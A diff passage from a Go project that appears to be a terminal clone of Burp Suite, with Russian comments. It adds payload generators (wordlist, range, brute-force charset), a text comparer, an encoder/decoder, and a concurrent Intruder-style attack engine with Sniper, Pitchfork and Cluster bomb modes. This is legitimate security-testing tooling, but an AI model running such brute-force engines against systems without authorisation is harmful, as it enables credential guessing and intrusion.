||||
}
|
||||
|
||||
// splitExtSuffix отделяет "|ext:.php,.html,bak" от конца спецификации —
|
||||
// суффикс может стоять у любого типа spec (wordlist/preset/range/brute).
|
||||
// Ведущая точка у расширения необязательна во вводе ("bak" эквивалентно
|
||||
// ".bak") — добавляется автоматически, чтобы не спотыкаться на забытой точке.
|
||||
func splitExtSuffix(spec string) (base string, extensions []string, err error) {
|
||||
idx := strings.LastIndex(spec, "|ext:")
|
||||
if idx == -1 {
|
||||
return spec, nil, nil
|
||||
}
|
||||
base = spec[:idx]
|
||||
extPart := spec[idx+len("|ext:"):]
|
||||
if extPart == "" {
|
||||
return "", nil, fmt.Errorf("|ext: указан, но список расширений пуст")
|
||||
}
|
||||
for _, e := range strings.Split(extPart, ",") {
|
||||
e = strings.TrimSpace(e)
|
||||
if e == "" {
|
||||
continue
|
||||
}
|
||||
if !strings.HasPrefix(e, ".") {
|
||||
e = "." + e
|
||||
}
|
||||
extensions = append(extensions, e)
|
||||
}
|
||||
return base, extensions, nil
|
||||
}
|
||||
|
||||
// parseBaseSpec разбирает одну спецификацию вида "тип:параметры" —
|
||||
// без учёта возможного "|ext:" суффикса, который снимается выше.
|
||||
func parseBaseSpec(spec string) (payload.Generator, error) {
|
||||
parts := strings.SplitN(spec, ":", 2)
|
||||
if len(parts) != 2 {
|
||||
return nil, fmt.Errorf("ожидался формат тип:параметры, напр. wordlist:/путь/к/файлу")
|
||||
}
|
||||
kind, arg := parts[0], parts[1]
|
||||
|
||||
switch kind {
|
||||
case "wordlist":
|
||||
words, err := readLines(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(words) == 0 {
|
||||
return nil, fmt.Errorf("файл словаря %q пуст", arg)
|
||||
}
|
||||
return payload.NewWordlistGenerator(words), nil
|
||||
|
||||
case "range":
|
||||
nums := strings.Split(arg, ":")
|
||||
if len(nums) != 3 {
|
||||
return nil, fmt.Errorf("ожидался формат range:from:to:step")
|
||||
}
|
||||
from, err := strconv.Atoi(nums[0])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("некорректный from: %w", err)
|
||||
}
|
||||
to, err := strconv.Atoi(nums[1])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("некорректный to: %w", err)
|
||||
}
|
||||
step, err := strconv.Atoi(nums[2])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("некорректный step: %w", err)
|
||||
}
|
||||
if step <= 0 {
|
||||
return nil, fmt.Errorf("step должен быть положительным, получено %d", step)
|
||||
}
|
||||
return payload.NewNumericRangeGenerator(from, to, step), nil
|
||||
|
||||
case "preset":
|
||||
g, err := payload.NewFromPreset(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return g, nil
|
||||
|
||||
case "brute":
|
||||
// Формат: brute:<алфавит>:<min>:<max> — прямой перебор без
|
||||
// готовой заготовки, для случаев, когда ни одна из встроенных
|
||||
// не подходит (свой алфавит, другая длина и т.п.).
|
||||
parts := strings.SplitN(arg, ":", 3)
|
||||
if len(parts) != 3 {
|
||||
return nil, fmt.Errorf("ожидался формат brute:<алфавит>:<min>:<max>")
|
||||
}
|
||||
charset := parts[0]
|
||||
if charset == "" {
|
||||
return nil, fmt.Errorf("алфавит для brute не может быть пустым")
|
||||
}
|
||||
minLen, err := strconv.Atoi(parts[1])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("некорректный min: %w", err)
|
||||
}
|
||||
maxLen, err := strconv.Atoi(parts[2])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("некорректный max: %w", err)
|
||||
}
|
||||
if minLen < 1 || maxLen < minLen {
|
||||
return nil, fmt.Errorf("ожидалось 1 <= min <= max, получено min=%d max=%d", minLen, maxLen)
|
||||
}
|
||||
return payload.NewBruteForceGenerator(charset, minLen, maxLen), nil
|
||||
|
||||
default:
|
||||
return nil, fmt.Errorf("неизвестный тип payload'а %q (ожидался wordlist, range, preset или brute)", kind)
|
||||
}
|
||||
}
|
||||
|
||||
// readLines читает файл построчно, пропуская пустые строки
|
||||
// и обрезая \r на случай CRLF-словарей.
|
||||
func readLines(path string) ([]string, error) {
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("не удалось открыть файл со словарём: %w", err)
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
var lines []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimRight(scanner.Text(), "\r")
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
lines = append(lines, line)
|
||||
}
|
||||
if err := scanner.Err(); err != nil {
|
||||
return nil, fmt.Errorf("ошибка чтения словаря: %w", err)
|
||||
}
|
||||
return lines, nil
|
||||
}
|
||||
118
internal/comparer/diff.go
Normal file
118
internal/comparer/diff.go
Normal file
|
|
@ -0,0 +1,118 @@
|
|||
// Package comparer реализует построчно-словесное сравнение двух текстов
|
||||
// (аналог вкладки Comparer в Burp) на основе классического LCS-алгоритма.
|
||||
package comparer
|
||||
|
||||
import "regexp"
|
||||
|
||||
// tokenPattern разбивает текст на чередующиеся куски пробелов и
|
||||
// непробельных последовательностей — так diff получается на уровне
|
||||
// "слов" (примерно как режим "Words" в Burp Comparer), но при этом
|
||||
// исходный текст полностью восстанавливается конкатенацией токенов,
|
||||
// включая переносы строк и пробелы между ними.
|
||||
var tokenPattern = regexp.MustCompile(`\s+|\S+`)
|
||||
|
||||
func tokenize(s string) []string {
|
||||
return tokenPattern.FindAllString(s, -1)
|
||||
}
|
||||
|
||||
// Op — тип операции над токеном при переходе от a к b.
|
||||
type Op int
|
||||
|
||||
const (
|
||||
OpEqual Op = iota
|
||||
OpDelete
|
||||
OpInsert
|
||||
)
|
||||
|
||||
// Chunk — последовательность токенов с одной и той же операцией,
|
||||
// склеенных в одну строку для компактного вывода.
|
||||
type Chunk struct {
|
||||
Op Op
|
||||
Text string
|
||||
}
|
||||
|
||||
// Diff сравнивает a и b на уровне токенов (слов и пробельных
|
||||
// промежутков) через LCS и возвращает последовательность чанков:
|
||||
// OpEqual — совпадающие куски, OpDelete — есть только в a,
|
||||
// OpInsert — есть только в b.
|
||||
//
|
||||
// Сложность O(n·m) по числу токенов в a и b — для вставки HTTP-запросов
|
||||
// (сотни-тысячи токенов) это доли миллисекунды; для вставки многомегабайтных
|
||||
// текстов такой алгоритм не годится, но это осознанно не наш случай.
|
||||
func Diff(a, b string) []Chunk {
|
||||
ta := tokenize(a)
|
||||
tb := tokenize(b)
|
||||
|
||||
lcs := lcsTable(ta, tb)
|
||||
ops := backtrack(lcs, ta, tb, len(ta), len(tb))
|
||||
|
||||
return mergeChunks(ops)
|
||||
}
|
||||
|
||||
type tokenOp struct {
|
||||
op Op
|
||||
text string
|
||||
}
|
||||
|
||||
// lcsTable строит стандартную DP-таблицу длин наибольшей общей
|
||||
// подпоследовательности для токенов ta и tb.
|
||||
func lcsTable(ta, tb []string) [][]int {
|
||||
n, m := len(ta), len(tb)
|
||||
table := make([][]int, n+1)
|
||||
for i := range table {
|
||||
table[i] = make([]int, m+1)
|
||||
}
|
||||
for i := 1; i <= n; i++ {
|
||||
for j := 1; j <= m; j++ {
|
||||
if ta[i-1] == tb[j-1] {
|
||||
table[i][j] = table[i-1][j-1] + 1
|
||||
} else if table[i-1][j] >= table[i][j-1] {
|
||||
table[i][j] = table[i-1][j]
|
||||
} else {
|
||||
table[i][j] = table[i][j-1]
|
||||
}
|
||||
}
|
||||
}
|
||||
return table
|
||||
}
|
||||
|
||||
// backtrack восстанавливает последовательность операций из DP-таблицы,
|
||||
// двигаясь от (n, m) к (0, 0), и разворачивает её в порядок a→b.
|
||||
func backtrack(table [][]int, ta, tb []string, i, j int) []tokenOp {
|
||||
var reversed []tokenOp
|
||||
for i > 0 || j > 0 {
|
||||
switch {
|
||||
case i > 0 && j > 0 && ta[i-1] == tb[j-1]:
|
||||
reversed = append(reversed, tokenOp{OpEqual, ta[i-1]})
|
||||
i--
|
||||
j--
|
||||
case j > 0 && (i == 0 || table[i][j-1] >= table[i-1][j]):
|
||||
reversed = append(reversed, tokenOp{OpInsert, tb[j-1]})
|
||||
j--
|
||||
default:
|
||||
reversed = append(reversed, tokenOp{OpDelete, ta[i-1]})
|
||||
i--
|
||||
}
|
||||
}
|
||||
|
||||
ops := make([]tokenOp, len(reversed))
|
||||
for k, v := range reversed {
|
||||
ops[len(reversed)-1-k] = v
|
||||
}
|
||||
return ops
|
||||
}
|
||||
|
||||
// mergeChunks склеивает подряд идущие токены с одинаковой операцией
|
||||
// в один Chunk — иначе на каждое слово приходился бы отдельный чанк,
|
||||
// что нечитаемо в выводе.
|
||||
func mergeChunks(ops []tokenOp) []Chunk {
|
||||
var chunks []Chunk
|
||||
for _, o := range ops {
|
||||
if len(chunks) > 0 && chunks[len(chunks)-1].Op == o.op {
|
||||
chunks[len(chunks)-1].Text += o.text
|
||||
continue
|
||||
}
|
||||
chunks = append(chunks, Chunk{Op: o.op, Text: o.text})
|
||||
}
|
||||
return chunks
|
||||
}
|
||||
42
internal/config/config.go
Normal file
42
internal/config/config.go
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
package config
|
||||
|
||||
import "time"
|
||||
|
||||
// Config хранит настройки одного запуска burterm,
|
||||
// собранные из CLI-флагов или конфиг-файла.
|
||||
type Config struct {
|
||||
// TargetURL — исходный URL или путь к файлу с raw HTTP-запросом.
|
||||
TargetURL string
|
||||
|
||||
// RawRequestFile — путь к файлу с сырым HTTP-запросом и §маркерами§.
|
||||
RawRequestFile string
|
||||
|
||||
// Concurrency — число параллельных воркеров в Intruder-движке.
|
||||
Concurrency int
|
||||
|
||||
// RateLimit — пауза между запросами на один воркер (0 — без ограничения).
|
||||
RateLimit time.Duration
|
||||
|
||||
// Timeout — таймаут одного HTTP-запроса.
|
||||
Timeout time.Duration
|
||||
|
||||
// SpiderMaxDepth — максимальная глубина обхода для Spider.
|
||||
SpiderMaxDepth int
|
||||
|
||||
// WordlistPath — путь к словарю payload'ов для Intruder.
|
||||
WordlistPath string
|
||||
|
||||
// InsecureSkipVerify — отключить проверку TLS-сертификата
|
||||
// (полезно для тестовых стендов с self-signed сертификатами).
|
||||
InsecureSkipVerify bool
|
||||
}
|
||||
|
||||
// Default возвращает конфигурацию с разумными значениями по умолчанию.
|
||||
func Default() Config {
|
||||
return Config{
|
||||
Concurrency: 10,
|
||||
RateLimit: 0,
|
||||
Timeout: 10 * time.Second,
|
||||
SpiderMaxDepth: 3,
|
||||
}
|
||||
}
|
||||
223
internal/decoder/decoder.go
Normal file
223
internal/decoder/decoder.go
Normal file
|
|
@ -0,0 +1,223 @@
|
|||
// Package decoder реализует набор кодировок/декодировок (аналог вкладки
|
||||
// Decoder в Burp): URL, Base64, HTML-entities, Hex и однонаправленный MD5,
|
||||
// плюс SmartDecode — эвристическая цепочка автоматического декодирования,
|
||||
// подбирающая, какая кодировка применена, и снимающая её слой за слоем.
|
||||
package decoder
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"html"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// URLEncode кодирует строку как query-компонент URL (пробел → '+').
|
||||
func URLEncode(s string) string {
|
||||
return url.QueryEscape(s)
|
||||
}
|
||||
|
||||
// URLDecode декодирует query-компонент URL.
|
||||
func URLDecode(s string) (string, error) {
|
||||
out, err := url.QueryUnescape(s)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("URL-декодирование: %w", err)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// Base64Encode кодирует в стандартный Base64 (с паддингом).
|
||||
func Base64Encode(s string) string {
|
||||
return base64StdEncode([]byte(s))
|
||||
}
|
||||
|
||||
// Base64Decode декодирует Base64, принимая как стандартный, так и
|
||||
// URL-safe алфавит и терпимо относясь к отсутствующему паддингу —
|
||||
// на практике токены из веба встречаются в обоих вариантах.
|
||||
func Base64Decode(s string) (string, error) {
|
||||
b, err := base64FlexibleDecode(s)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("Base64-декодирование: %w", err)
|
||||
}
|
||||
return string(b), nil
|
||||
}
|
||||
|
||||
// HTMLEncode экранирует HTML-спецсимволы (<, >, &, ", ').
|
||||
func HTMLEncode(s string) string {
|
||||
return html.EscapeString(s)
|
||||
}
|
||||
|
||||
// HTMLDecode разворачивает HTML-сущности (<, &, ' и т.п.).
|
||||
func HTMLDecode(s string) string {
|
||||
return html.UnescapeString(s)
|
||||
}
|
||||
|
||||
// HexEncode кодирует строку в шестнадцатеричное представление.
|
||||
func HexEncode(s string) string {
|
||||
return hex.EncodeToString([]byte(s))
|
||||
}
|
||||
|
||||
// HexDecode декодирует шестнадцатеричную строку обратно в текст.
|
||||
func HexDecode(s string) (string, error) {
|
||||
b, err := hex.DecodeString(strings.TrimSpace(s))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("hex-декодирование: %w", err)
|
||||
}
|
||||
return string(b), nil
|
||||
}
|
||||
|
||||
// base64StdEncode — тонкая обёртка над стандартной библиотекой,
|
||||
// вынесенная в отдельную функцию ради симметрии с base64FlexibleDecode.
|
||||
func base64StdEncode(b []byte) string {
|
||||
return base64.StdEncoding.EncodeToString(b)
|
||||
}
|
||||
|
||||
// base64FlexibleDecode перебирает стандартный и URL-safe алфавиты,
|
||||
// с паддингом и без — то есть все четыре комбинации, которые реально
|
||||
// встречаются в вебе (JWT, например, использует RawURLEncoding).
|
||||
func base64FlexibleDecode(s string) ([]byte, error) {
|
||||
encodings := []*base64.Encoding{
|
||||
base64.StdEncoding,
|
||||
base64.RawStdEncoding,
|
||||
base64.URLEncoding,
|
||||
base64.RawURLEncoding,
|
||||
}
|
||||
var lastErr error
|
||||
for _, enc := range encodings {
|
||||
if b, err := enc.DecodeString(s); err == nil {
|
||||
return b, nil
|
||||
} else {
|
||||
lastErr = err
|
||||
}
|
||||
}
|
||||
return nil, lastErr
|
||||
}
|
||||
|
||||
// MD5Hash — однонаправленное хэширование, декодирования не существует.
|
||||
func MD5Hash(s string) string {
|
||||
sum := md5.Sum([]byte(s))
|
||||
return hex.EncodeToString(sum[:])
|
||||
}
|
||||
|
||||
// Step — один шаг цепочки SmartDecode: какая кодировка была снята
|
||||
// и что получилось после этого шага.
|
||||
type Step struct {
|
||||
Operation string
|
||||
Result string
|
||||
}
|
||||
|
||||
// SmartDecode пытается определить, чем закодирована строка, и снимает
|
||||
// кодировки слой за слоем, пока распознаётся хотя бы одна из известных
|
||||
// (URL, Base64, Hex, HTML) или не достигнут предел итераций. Это
|
||||
// эвристика, а не гарантированно верное определение — при неоднозначных
|
||||
// входах (например, строка, которая одновременно валидный Base64 и
|
||||
// валидный hex) приоритет фиксирован в порядке проверки ниже.
|
||||
func SmartDecode(s string) []Step {
|
||||
const maxSteps = 8
|
||||
var steps []Step
|
||||
|
||||
cur := s
|
||||
for i := 0; i < maxSteps; i++ {
|
||||
op, next, ok := detectAndDecodeOne(cur)
|
||||
if !ok || next == cur {
|
||||
break
|
||||
}
|
||||
steps = append(steps, Step{Operation: op, Result: next})
|
||||
cur = next
|
||||
}
|
||||
return steps
|
||||
}
|
||||
|
||||
// detectAndDecodeOne проверяет кодировки по очереди и применяет первую
|
||||
// подошедшую. Порядок проверки важен: URL-encoding и HTML-entities имеют
|
||||
// узнаваемые маркеры (%XX, &...;) и проверяются первыми как самые
|
||||
// однозначные; Base64 и Hex — по составу алфавита, где Hex строже
|
||||
// (только 0-9a-f), поэтому его проверяем раньше Base64.
|
||||
func detectAndDecodeOne(s string) (op, result string, ok bool) {
|
||||
trimmed := strings.TrimSpace(s)
|
||||
|
||||
if strings.Contains(s, "%") && looksURLEncoded(s) {
|
||||
if out, err := URLDecode(s); err == nil && out != s {
|
||||
return "URL-decode", out, true
|
||||
}
|
||||
}
|
||||
|
||||
if strings.Contains(s, "&") && strings.Contains(s, ";") {
|
||||
if out := HTMLDecode(s); out != s {
|
||||
return "HTML-decode", out, true
|
||||
}
|
||||
}
|
||||
|
||||
if looksHex(trimmed) {
|
||||
if out, err := HexDecode(trimmed); err == nil && isPrintable(out) {
|
||||
return "Hex-decode", out, true
|
||||
}
|
||||
}
|
||||
|
||||
if looksBase64(trimmed) {
|
||||
if out, err := Base64Decode(trimmed); err == nil && isPrintable(out) {
|
||||
return "Base64-decode", out, true
|
||||
}
|
||||
}
|
||||
|
||||
return "", "", false
|
||||
}
|
||||
|
||||
func looksURLEncoded(s string) bool {
|
||||
for i := 0; i < len(s)-2; i++ {
|
||||
if s[i] == '%' && isHexByte(s[i+1]) && isHexByte(s[i+2]) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func isHexByte(c byte) bool {
|
||||
return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F')
|
||||
}
|
||||
|
||||
func looksHex(s string) bool {
|
||||
if s == "" || len(s)%2 != 0 {
|
||||
return false
|
||||
}
|
||||
for i := 0; i < len(s); i++ {
|
||||
if !isHexByte(s[i]) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func looksBase64(s string) bool {
|
||||
if s == "" || len(s)%4 != 0 {
|
||||
return false
|
||||
}
|
||||
for i := 0; i < len(s); i++ {
|
||||
c := s[i]
|
||||
switch {
|
||||
case c >= 'A' && c <= 'Z', c >= 'a' && c <= 'z', c >= '0' && c <= '9', c == '+', c == '/', c == '-', c == '_', c == '=':
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// isPrintable — грубый фильтр "похоже на текст, а не на мусор", чтобы
|
||||
// SmartDecode не радостно декодировал случайные бинарные данные,
|
||||
// формально прошедшие проверку алфавита Base64/Hex, но не являющиеся
|
||||
// осмысленной строкой на выходе.
|
||||
func isPrintable(s string) bool {
|
||||
if s == "" {
|
||||
return false
|
||||
}
|
||||
printable := 0
|
||||
for _, r := range s {
|
||||
if r == '\n' || r == '\r' || r == '\t' || (r >= 0x20 && r < 0x7f) {
|
||||
printable++
|
||||
}
|
||||
}
|
||||
return float64(printable)/float64(len([]rune(s))) > 0.85
|
||||
}
|
||||
553
internal/engine/engine.go
Normal file
553
internal/engine/engine.go
Normal file
|
|
@ -0,0 +1,553 @@
|
|||
package engine
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/payload"
|
||||
)
|
||||
|
||||
// AttackMode задаёт способ комбинирования генераторов и точек вставки,
|
||||
// по аналогии с режимами Burp Intruder.
|
||||
type AttackMode int
|
||||
|
||||
const (
|
||||
// ModeSniper — один генератор, payload'ы по очереди проходят через
|
||||
// каждую точку вставки (остальные точки остаются пустыми/базовыми).
|
||||
ModeSniper AttackMode = iota
|
||||
// ModeBattering — один генератор, payload вставляется во все точки
|
||||
// одновременно (одно и то же значение везде).
|
||||
ModeBattering
|
||||
// ModePitchfork — по генератору на каждую точку вставки, но идут они
|
||||
// в ногу по индексу (payloads[i] из каждого генератора вместе
|
||||
// формируют один запрос), а не декартовым произведением. Останавливается
|
||||
// на самом коротком генераторе — как в Burp: если один список короче
|
||||
// остальных, лишние значения из более длинных просто не используются.
|
||||
ModePitchfork
|
||||
// ModeClusterBomb — разные генераторы на разные позиции,
|
||||
// декартово произведение всех комбинаций.
|
||||
ModeClusterBomb
|
||||
)
|
||||
|
||||
// Result — результат одного запроса атаки.
|
||||
type Result struct {
|
||||
Payload []string
|
||||
|
||||
// URL и Method — куда именно ушёл этот конкретный запрос атаки.
|
||||
// Заполняются в send() из уже собранного *http.Request — нужны,
|
||||
// в частности, чтобы результаты Intruder-атаки можно было сохранить
|
||||
// в project.Store (там для каждой записи нужны host/method/url,
|
||||
// а Result сам по себе их не содержал до этого момента).
|
||||
URL string
|
||||
Method string
|
||||
|
||||
StatusCode int
|
||||
// Length — фактическое количество прочитанных байт тела ответа,
|
||||
// а не значение заголовка Content-Length (оно часто равно -1 при
|
||||
// chunked encoding и вводило бы в заблуждение как база для фильтра
|
||||
// по длине).
|
||||
Length int64
|
||||
// Body — тело ответа, обрезанное до maxBodyCapture байт. Полное
|
||||
// тело не хранится намеренно: при тысячах запросов в атаке это
|
||||
// быстро съело бы память; для grep-фильтра обрезанного фрагмента
|
||||
// обычно достаточно, чтобы поймать характерную строку в ответе.
|
||||
Body string
|
||||
// Headers — заголовки ответа (используются, в частности, для
|
||||
// цветовой маркировки по Content-Type в TUI).
|
||||
Headers http.Header
|
||||
|
||||
Duration time.Duration
|
||||
Err error
|
||||
}
|
||||
|
||||
// maxBodyCapture — сколько байт тела ответа сохраняется в Result.Body.
|
||||
const maxBodyCapture = 4096
|
||||
|
||||
// Config описывает параметры выполнения атаки.
|
||||
type Config struct {
|
||||
Concurrency int
|
||||
RateLimit time.Duration // пауза между запросами на воркер
|
||||
Timeout time.Duration
|
||||
InsecureSkipVerify bool
|
||||
|
||||
// ForceScheme принудительно проставляет схему ("http" или "https")
|
||||
// для каждого запроса атаки, перекрывая дефолт из BuildRequest
|
||||
// (который всегда ставит https, если в запросе нет абсолютного URI).
|
||||
// Пустая строка — оставить как есть (дефолтное поведение BuildRequest).
|
||||
ForceScheme string
|
||||
}
|
||||
|
||||
// Engine выполняет HTTP-атаку с заданной конкурентностью.
|
||||
type Engine struct {
|
||||
client *http.Client
|
||||
cfg Config
|
||||
}
|
||||
|
||||
// New создаёт Engine с настроенным http.Client (таймаут, TLS).
|
||||
//
|
||||
// MaxIdleConnsPerHost/MaxIdleConns заданы явно — у голого http.Transport
|
||||
// дефолт MaxIdleConnsPerHost всего 2 (значение из net/http.DefaultTransport),
|
||||
// а Intruder-атака почти всегда бьёт в один и тот же хост множеством
|
||||
// конкурентных воркеров. С дефолтом это означает, что при Concurrency
|
||||
// больше двух подавляющее большинство запросов не переиспользует
|
||||
// соединение из пула — TCP- (а для HTTPS ещё и TLS-) хендшейк на каждый
|
||||
// запрос вместо одного на воркер. Ставим пул размером с Concurrency —
|
||||
// ровно столько одновременных соединений к одному хосту нам и нужно.
|
||||
func New(cfg Config) *Engine {
|
||||
transport := &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: cfg.InsecureSkipVerify},
|
||||
MaxIdleConnsPerHost: cfg.Concurrency,
|
||||
MaxIdleConns: cfg.Concurrency * 2, // с запасом на случай редиректов на другой хост
|
||||
IdleConnTimeout: 90 * time.Second,
|
||||
}
|
||||
return &Engine{
|
||||
client: &http.Client{Timeout: cfg.Timeout, Transport: transport},
|
||||
cfg: cfg,
|
||||
}
|
||||
}
|
||||
|
||||
// EstimateTotal вычисляет ожидаемое общее число запросов атаки заранее,
|
||||
// без её запуска — используется в TUI для индикации прогресса (N/Total).
|
||||
// Опирается только на payload.Generator.Len() каждого генератора, не
|
||||
// потребляя их состояние (Len() не двигает Next()/Reset()), поэтому
|
||||
// безопасно вызывать перед реальным Run с теми же генераторами.
|
||||
func EstimateTotal(mode AttackMode, points []InsertionPoint, gens []payload.Generator) int {
|
||||
switch mode {
|
||||
case ModeSniper:
|
||||
if len(gens) == 0 {
|
||||
return 0
|
||||
}
|
||||
// RunSniper проходит генератор заново (Reset) на каждую точку —
|
||||
// то есть суммарно len(points) полных проходов одного генератора.
|
||||
return len(points) * gens[0].Len()
|
||||
|
||||
case ModeBattering:
|
||||
if len(gens) == 0 {
|
||||
return 0
|
||||
}
|
||||
return gens[0].Len()
|
||||
|
||||
case ModePitchfork:
|
||||
if len(gens) == 0 {
|
||||
return 0
|
||||
}
|
||||
min := -1
|
||||
for _, g := range gens {
|
||||
l := g.Len()
|
||||
if min == -1 || l < min {
|
||||
min = l
|
||||
}
|
||||
}
|
||||
if min < 0 {
|
||||
return 0
|
||||
}
|
||||
return min
|
||||
|
||||
case ModeClusterBomb:
|
||||
if len(gens) == 0 {
|
||||
return 0
|
||||
}
|
||||
total := 1
|
||||
for _, g := range gens {
|
||||
total *= g.Len()
|
||||
}
|
||||
return total
|
||||
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
// Run — единая точка входа для запуска атаки в любом из режимов.
|
||||
// Сигнатура унифицирована под все три режима через gens []payload.Generator:
|
||||
//
|
||||
// - ModeSniper: используется только gens[0], остальные позиции на каждом
|
||||
// запросе берутся из base (если base == nil, они остаются пустыми
|
||||
// строками). Если позиций несколько, base обязателен и должен быть
|
||||
// той же длины, что и points.
|
||||
// - ModeBattering: используется только gens[0], его значение вставляется
|
||||
// сразу во все точки.
|
||||
// - ModePitchfork: используются все gens, len(gens) должен равняться
|
||||
// len(points) — по генератору на каждую точку, но идут они в ногу
|
||||
// по индексу, не декартовым произведением.
|
||||
// - ModeClusterBomb: используются все gens, len(gens) должен равняться
|
||||
// len(points) — по генератору на каждую точку.
|
||||
//
|
||||
// Так TUI/CLI могут работать с одной сигнатурой, не зная деталей
|
||||
// каждого режима.
|
||||
func (e *Engine) Run(ctx context.Context, mode AttackMode, clean string, points []InsertionPoint, gens []payload.Generator, base []string) (<-chan Result, error) {
|
||||
if len(gens) == 0 {
|
||||
return nil, fmt.Errorf("нужен хотя бы один генератор payload'ов")
|
||||
}
|
||||
|
||||
switch mode {
|
||||
case ModeSniper:
|
||||
b := base
|
||||
if b == nil {
|
||||
b = make([]string, len(points))
|
||||
}
|
||||
if len(b) != len(points) {
|
||||
return nil, fmt.Errorf("base должен быть длины %d (по числу точек вставки), получено %d", len(points), len(b))
|
||||
}
|
||||
return e.RunSniper(ctx, clean, points, gens[0], b), nil
|
||||
|
||||
case ModeBattering:
|
||||
return e.RunBattering(ctx, clean, points, gens[0]), nil
|
||||
|
||||
case ModePitchfork:
|
||||
return e.RunPitchfork(ctx, clean, points, gens)
|
||||
|
||||
case ModeClusterBomb:
|
||||
return e.RunClusterBomb(ctx, clean, points, gens)
|
||||
|
||||
default:
|
||||
return nil, fmt.Errorf("неизвестный режим атаки: %v", mode)
|
||||
}
|
||||
}
|
||||
|
||||
// readBodyCapped дочитывает r до конца (это важно само по себе — см.
|
||||
// комментарий в send про keep-alive), считая полную длину total, но
|
||||
// сохраняя в captured не больше cap байт. Ошибку чтения намеренно не
|
||||
// прокидывает наверх как фатальную для результата атаки: то, что тело
|
||||
// оборвалось на середине, не должно скрывать уже полученные статус-код
|
||||
// и частично прочитанные данные.
|
||||
func readBodyCapped(r io.Reader, cap int) (captured []byte, total int64, err error) {
|
||||
buf := make([]byte, 32*1024)
|
||||
var b bytes.Buffer
|
||||
for {
|
||||
n, rerr := r.Read(buf)
|
||||
if n > 0 {
|
||||
total += int64(n)
|
||||
if b.Len() < cap {
|
||||
remaining := cap - b.Len()
|
||||
if n < remaining {
|
||||
remaining = n
|
||||
}
|
||||
b.Write(buf[:remaining])
|
||||
}
|
||||
}
|
||||
if rerr == io.EOF {
|
||||
break
|
||||
}
|
||||
if rerr != nil {
|
||||
return b.Bytes(), total, rerr
|
||||
}
|
||||
}
|
||||
return b.Bytes(), total, nil
|
||||
}
|
||||
|
||||
// RunSniper гоняет атаку в режиме Sniper: один генератор, одна точка
|
||||
// вставки за проход. Результаты идут в возвращаемый канал.
|
||||
func (e *Engine) RunSniper(ctx context.Context, clean string, points []InsertionPoint, gen payload.Generator, base []string) <-chan Result {
|
||||
out := make(chan Result)
|
||||
type job struct {
|
||||
pointIdx int
|
||||
value string
|
||||
}
|
||||
jobs := make(chan job)
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < e.cfg.Concurrency; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for j := range jobs {
|
||||
payloads := append([]string(nil), base...)
|
||||
payloads[j.pointIdx] = j.value
|
||||
e.send(ctx, clean, points, payloads, out)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer close(jobs)
|
||||
for pointIdx := range points {
|
||||
gen.Reset()
|
||||
for {
|
||||
v, ok := gen.Next()
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
select {
|
||||
case jobs <- job{pointIdx: pointIdx, value: v}:
|
||||
case <-ctx.Done():
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(out)
|
||||
}()
|
||||
|
||||
return out
|
||||
}
|
||||
|
||||
// send выполняет один запрос с заданным набором payload'ов и пишет
|
||||
// результат в out. Обе потенциально блокирующие операции — отправка в out
|
||||
// и пауза rate limit'а — слушают ctx.Done(), поэтому отмена контекста
|
||||
// гарантированно освобождает воркер, даже если читатель канала (TUI)
|
||||
// уже перестал вычитывать результаты этой атаки.
|
||||
func (e *Engine) send(ctx context.Context, clean string, points []InsertionPoint, payloads []string, out chan<- Result) {
|
||||
start := time.Now()
|
||||
req, err := BuildRequest(clean, points, payloads)
|
||||
if err != nil {
|
||||
select {
|
||||
case out <- Result{Payload: payloads, Err: err}:
|
||||
case <-ctx.Done():
|
||||
}
|
||||
return
|
||||
}
|
||||
if e.cfg.ForceScheme != "" {
|
||||
req.URL.Scheme = e.cfg.ForceScheme
|
||||
}
|
||||
req = req.WithContext(ctx)
|
||||
|
||||
resp, err := e.client.Do(req)
|
||||
res := Result{Payload: payloads, Duration: time.Since(start), Err: err, URL: req.URL.String(), Method: req.Method}
|
||||
if err == nil {
|
||||
res.StatusCode = resp.StatusCode
|
||||
res.Headers = resp.Header
|
||||
body, total, _ := readBodyCapped(resp.Body, maxBodyCapture)
|
||||
